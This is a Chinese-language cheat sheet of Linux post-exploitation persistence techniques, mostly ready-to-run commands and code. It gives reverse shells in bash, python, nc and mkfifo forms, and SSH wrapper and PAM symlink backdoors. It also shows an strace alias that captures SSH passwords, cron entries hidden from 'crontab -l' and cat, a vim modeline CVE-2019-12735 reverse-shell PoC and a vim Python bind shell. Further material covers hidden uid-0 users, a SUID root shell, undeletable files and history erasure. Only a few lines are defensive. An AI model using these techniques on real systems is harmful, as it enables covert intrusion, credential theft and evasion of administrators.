Linux权限维持
自我总结
直接权限维持
- 反弹shell
- SSH
- SSH warpper
- SSH 软连接
- SSH 公钥免密登陆
- SSH Keylogger
- strace监听ssh来源流量
- Crontab
- vim后门
- 开机启动项 (自己想的不知道可不可以)
.bashrc
(自己想的不知道可不可以)- 添加超级用户
- SUID后门
间接辅助权限维持
- cat缺陷
- Linux/Unix 隐藏文件和文件夹
- 参数混淆拦截rm
- 删除/隐藏历史操作命令
拿到机器后可以查看一下有没有相关程序,反弹shell等进程能够被查到,这条命令可以简单的kill掉一些常见恶意程序。
批量kill可疑进程:
ps -ef |grep "python" |awk '{print $2}'|xargs kill -9
ps -ef |grep "bash -i" |awk '{print $2}'|xargs kill -9
ps -ef |grep "ew" |awk '{print $2}'|xargs kill -9
LINUX反弹shell
关于反弹原理,和每一步的数据流向在网上都有文章,就不复制了。这里只是用来总结下常规反弹shell的用法,顺便说下优点缺点。
bash -i >& /dev/tcp/127.0.0.1/6666 0>&1
优点:在大多数Liunx系统上都可以使用
缺点:在路由器系统中不存在bash,存在符号>、& 在反序列化中或者对符号转义的情况下就没有办法反弹了。
python -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('127.0.0.1',6666));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"
优点:在安装了python上的linux都可以使用,原理还是将标准输入、标准输出、标准错误输出重定向到远程。使用bash交互模式启动。
缺点:在路由器系统中不存在bash或者阉割了python库,存在符号>、& 、’、”在反序列化中或者对符号转义的情况下就没有办法反弹了。单双引号也会导致闭合问题。
nc -e /bin/bash 127.0.0.1 6666
一般Netcat有两个版本,一个版本是不提供反向连接的版本,一个是全功能版本。这两者的区别就是是否带-e参数,只有带-e参数的版本才支持反向连接。ubuntu 18.04安装的是不提供反向链接的版本。
wget https://sourceforge.net/projects/netcat/files/netcat/0.7.1/netcat-0.7.1.tar.gz
tar -zxvf netcat-0.7.1.tar.gz -C /usr/local
cd /usr/local
mv netcat-0.7.1 netcat
cd /usr/local/netcat
./configure
make && make install
优点:直接反弹,没有多余的符号。
缺点:系统apt默认安装的都是不提供反向链接的版本,需要自己上传编译后的二进制版本。
解决方法1:
nc 127.0.0.1 6666|/bin/bash|nc 127.0.0.1 7777
利用6666端口传入内容交给bash执行,再将内容从7777送出去,管道符的用法。可以在阉割功能的nc上使用。
解决方法2: (针对某些mips架构的路由器&busybox终端的系统):
# 锐捷
mkfifo /tmp/backpipe1 | /bin/sh 0</tmp/backpipe1 | nc 127.0.0.1 6666 1>/tmp/backpipe1
# 飞鱼星反弹shell
mkfifo /tmp/backpipe1 | /bin/sh 0</tmp/backpipe1 | /bin/busybox nc 127.0.0.1 6666 1>/tmp/backpipe1
SSH后门
SSH wrapper
判断连接来源端口,将恶意端口来源访问传输内容重定向到/bin/sh中。
cd /usr/sbin/
mv sshd ../bin
vim sshd # 编辑sshd内容为以下
#!/usr/bin/perl
exec"/bin/sh"if(getpeername(STDIN)=~/^..LF/); # \x00\x00LF是19526的大端形式
exec{"/usr/bin/sshd"}"/usr/sbin/sshd",@ARGV;
service sshd restart
在本机执行
socat STDIO TCP4:127.0.0.1:22,sourceport=19265
可以看到我利用socat限制了本地端口19526访问server的22端口反回一个sh窗。
修改端口可以修改..LF
import struct
buffer = struct.pack('>I6',19526)
print repr(buffer)
优点:
1、在无连接后门的情况下,管理员是看不到端口和进程的,last也查不到登陆。
2、在针对边界设备出网,内网linux服务器未出网的情况下,留这个后门可以随时管理内网linux服务器,还不会留下文件和恶意网络连接记录。
SSH 软连接后门
软连接后门的原理是利用了PAM配置文件的作用,将sshd文件软连接名称设置为su,这样应用在启动过程中他会去PAM配置文件夹中寻找是否存在对应名称的配置信息(su),然而su在pam_rootok只检测uid 0即可认证成功,这样就导致了可以使用任意密码登录。
ln -sf /usr/sbin/sshd /tmp/su
/tmp/su -oPort=888
优点:能够绕过一些网络设备的安全流量监测
缺点:本地在查看监听端口时会暴露端口,建议设置成8081,8080等端口。
SSH 公钥免密登陆
ssh-keygen -t rsa
生成公钥
将id_rsa.pub
内容放到目标.ssh/authorized_keys
里
这个是老生常谈的公钥免登陆,这种用法不只是用在留后门,还可以在一些特殊情况下获取一个交互的shell,如struts写入公钥,oracle写入公钥连接等情景。
SSH Keylogger
利用strace系统调试工具获取ssh的读写连接的数据,以达到抓取管理员登陆其他机器的明文密码的作用。
在当前用户的.bashrc里新建一条alias、这样可以抓取他登陆其他机器的ssh密码。算是alias后门。后面会在讲一下alias后门。
alias ssh='strace -o /tmp/sshpwd-`date '+%d%h%m%s'`.log -e read,write,connect -s2048 ssh'
strace监听ssh来源流量
不只是可以监听连接他人,还可以用来抓到别人连入的密码。应用场景如:通过漏洞获取root权限,但是不知道明文密码在横向扩展中可以使用。
之前有用别名的方式来抓取登陆其他机器时的密码、同样也可以利用strace来监听登陆本地的sshd流量。
ps -ef | grep sshd #父进程PID
可以看到也能抓到写入密码。
Info:
https://www.jakoblell.com/blog/2014/05/07/hacking-contest-ssh-server-wrapper https://www.freebuf.com/articles/system/178150.html
Cron后门
Cron介绍
在Linux系统中,计划任务一般是由cron承担,我们可以把cron设置为开机时自动启动。cron启动后,它会读取它的所有配置文件(全局性配置文件/etc/crontab,以及每个用户的计划任务配置文件),然后cron会根据命令和执行时间来按时来调用工作任务。
Cron后门
http://qqe2.com/cron cron表达式在线生成:
(crontab -l;echo '*/1 * * * * /bin/bash /tmp/1.elf;/bin/bash --noprofile -i')|crontab -
这样执行会在crontab列表里出现,如果是如上执行的话,管理员执行crontab -l就能看到执行的命令内容不是特别隐蔽。
那么就有了一个相对的高级用法,下面命令执行后会显示”no crontab for root”。其实就达到了一个隐藏的效果,这时候管理员如果执行crontab -l就会看到显示”no crontab for root”。
(crontab -l;printf "*/1 * * * * /bin/bash /tmp/1.elf;/bin/bash --noprofile -i;\rno crontab for `whoami`%100c\n")|crontab -
实际上是他将cron文件写到文件中。/var/spool/cron/crontabs/root 。而crontab -l就是列出了该文件的内容。
通常cat是看不到这个的,只能利用less或者vim看到,这也是利用了cat的一个缺陷,后面会讲到。/etc/cron.d/ /etc/cron.daily/ /etc/cron.weekly/ /etc/cron.hourly/ /etc/cron.monthly/
这几个路径都可以存放cron执行脚本,对应的时间不同。
hiding-from-cats
cat隐藏说明
刚刚在cron里面提到了cat的一个缺陷。可以利用这个缺陷隐藏恶意命令在一些脚本中。这里的示例我就用hiding-from-cats里的例子吧。之所以单列出来,个人认为在一些大型企业的运维工具脚本中可以插入恶意代码,利用cat的缺陷还可以使管理员无法发现脚本被做手脚。
cat其实默认使用是支持一些比如\r回车符 \n换行符 \f换页符、也就是这些符号导致的能够隐藏命令。
使用python生成带有换行符的内容sh:
cmd_h = "echo 'You forgot to check `cat -A`!' > oops" # hidden
cmd_v = "echo 'Hello world!'" # visible
with open("test.sh", "w") as f:
output = "#!/bin/sh\n"
output += cmd_h + ";" + cmd_v + " #\r" + cmd_v + " " * (len(cmd_h) + 3) + "\n"
f.write(output)
使用coderunner生成了一个test.sh脚本。cat看了下脚本的内容是echo一个hello world! 且同目录下只有他本文件。然后我们用sh test.sh执行后。
可以看到执行脚本后生成了一个oops文件,内容就是 You forgot to check cat -A! 其实可以看出来这样就做到了恶意命令隐藏的效果。其实之前Cron后门中的隐藏方法就是利用了这个。如果使用cat —A 查看root文件的话就可以看到计划任务的真正内容了。
vim后门
vim modeline CVE-2019-12735
该漏洞存在于编辑器的 modeline功能,部分 Linux 发行版默认启用了该功能,macOS 是没有默认启用。 当vim打开一个包含了vim modeline注释行的文件时,会自动读取这一行的参数配置并调整自己的设置到这个配置。vim默认关闭modeline。 开启:
vim ~/.vimrc
//文件内容为
set modeline
poc:
:!uname -a||" vi:fen:fdm=expr:fde=assert_fails("source\!\ \%"):fdl=0:fdt="
反弹shell:
:!rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 127.0.0.1 9999 >/tmp/f||" vi:fen:fdm=expr:fde=assert_fails("source\!\ \%"):fdl=0:fdt="
vim python扩展后门
适用于安装了vim且安装了python扩展(绝大版本默认安装)的linux系统。可以通过vim的pyfile来执行python脚本。这里我复现使用了docker centos 6.8,yum默认安装的vim。下面的pdf是发现者对外公开的思路:
https://github.com/jaredestroud/WOTD/blob/master/[DARK] Weapons of Text Destruction.pdf
这里我们使用一个python开启本地监听11端口的脚本。 POC:
#from https://www.leavesongs.com/PYTHON/python-shell-backdoor.html
from socket import *
import subprocess
import os, threading, sys, time
if __name__ == "__main__":
server=socket(AF_INET,SOCK_STREAM)
server.bind(('0.0.0.0',11))
server.listen(5)
print 'waiting for connect'
talk, addr = server.accept()
print 'connect from',addr
proc = subprocess.Popen(["/bin/sh","-i"], stdin=talk,
stdout=talk, stderr=talk, shell=True)
$(nohup vim -E -c "pyfile dir.py"> /dev/null 2>&1 &) && sleep 2 && rm -f dir.py
添加超级用户
useradd guest;echo 'guest:123456'|chpasswd
useradd -p `openssl passwd 123456` guest
useradd -p "$(openssl passwd 123456)" guest
useradd newuwer;echo -e "123456n123456n" |passwd newuser
# 赋予root权限
echo "guest:x:0:0::/:/bin/sh" >> /etc/passwd
echo 'guest:123456'|chpasswd
SUID后门
当一个文件所属主的x标志位s(set uid简称suid)时,且所属主为root时,当执行该文件时,其实是以root身份执行的。必要条件:
- SUID权限仅对二进制程序有效。
- 执行者对于该程序需要具有x的可执行权限
- 本权限仅在执行该程序的过程中有效
- 在执行过程中执行者将具有该程序拥有者的权限
可以利用webshell进行利用
#vim suid.c
#include<stdlib.h>
main () {
setuid(0);
system("/bin/bash");
}
# 编译成二进制文件
gcc suid.c -o suidshell
# 赋予suid权限
chmod 4755 suidshell
chmod u+s suidshell
# 假设webshell权限较低,希望使用suid shell执行root命令,通过web的方式调用
# http://localhost/suid.php?path=/tmp/suidshell&cmd=id
# 即可以root的权限执行命令id
检测
查找具有suid权限的文件即可
find / -perm +4000 -ls
find / -perm -u=s -type f 2>/dev/null
Linux/Unix 隐藏文件和文件夹
建立隐藏文件/文件夹
touch .backdoor
mkdir .backdoor-file
经常使用linux中会知道每个目录下其实都有.和..、分别代指的是当前目录和上级目录。 建立…文件也是一个比较好的隐藏方法。
建立..文件/文件夹
echo 'whoami' > ..\ \ \ \ # 注意最后一个转义符后有一个空格
bash ..\ \ \ \ \ # 这里也是多一个空格。
这样建立的文件/文件夹管理员不知道是使用了几个转义符建立的,所以通过rm+tab是无法删除的。而且我测试使用rm -rf ./*也无法删除。
参数混淆拦截rm
使用echo等工具新建一个文件名是-rm
的文件,这样删除的时候bash会认为-rm是rm的参数。
这样就可以阻止管理员去删除, 一般只有rm -- '-rm'
才会删除掉。
但是如果管理员使用正常删除方式会报错。
可以用以下方法。
echo 123123123 > --
这样可以看到,命令执行了,文件没删除,命令也没有报错。类似的可以利用bash的\r缺陷,和管道符、重定向符之类的。
创建不能删除的文件(权限隐藏)
这个用法在ctf、awd中应用很多,使用chattr来给与隐藏权限。 这些权限需要使用lsattr这个命令才可以查看到,而如果要修改隐藏权限,则使用chattr这个命令来进行修改。
chattr +i hack.sh
删除/隐藏历史操作命令
删除
删除通常使用两种方式:
history -c
rm -rf /root/.bash_history
建议使用第二种,第一种只是当前清除,并没有清除文件内容。
隐藏
隐藏命令的方式有很多,history 只会在会话结束时写入,所以只要会话还没有结束就可以想办法隐藏。比如同时开启两个终端,第一个终端启动vim编辑history文件,等第二个执行的都差不多了,结束会话后,在保存第一个,这样就覆盖了第二个终端所执行的命令。 这里我分享几个经常使用的隐藏历史命令的方法。
set +o history # 不会将任何当前会话写入日志。可以在会话期间任何时间运行,并隐藏所有命令。
export HISTIGNORE="*|*" //这条命令是不记录带有管道符的命令。
执行后命令可以echo 123123123 | whoami
这样也可以做到隐藏命令的目的。
Info:
https://www.freebuf.com/vuls/205516.html https://www.cnblogs.com/17bdw/p/10564902.html#label06
参考链接
https://mp.weixin.qq.com/s/B5cam9QN8eDHFuaFjBD34Q https://mp.weixin.qq.com/s/-F_Ol-J-QfynOCYfD1nG3Q https://www.secpulse.com/archives/100484.html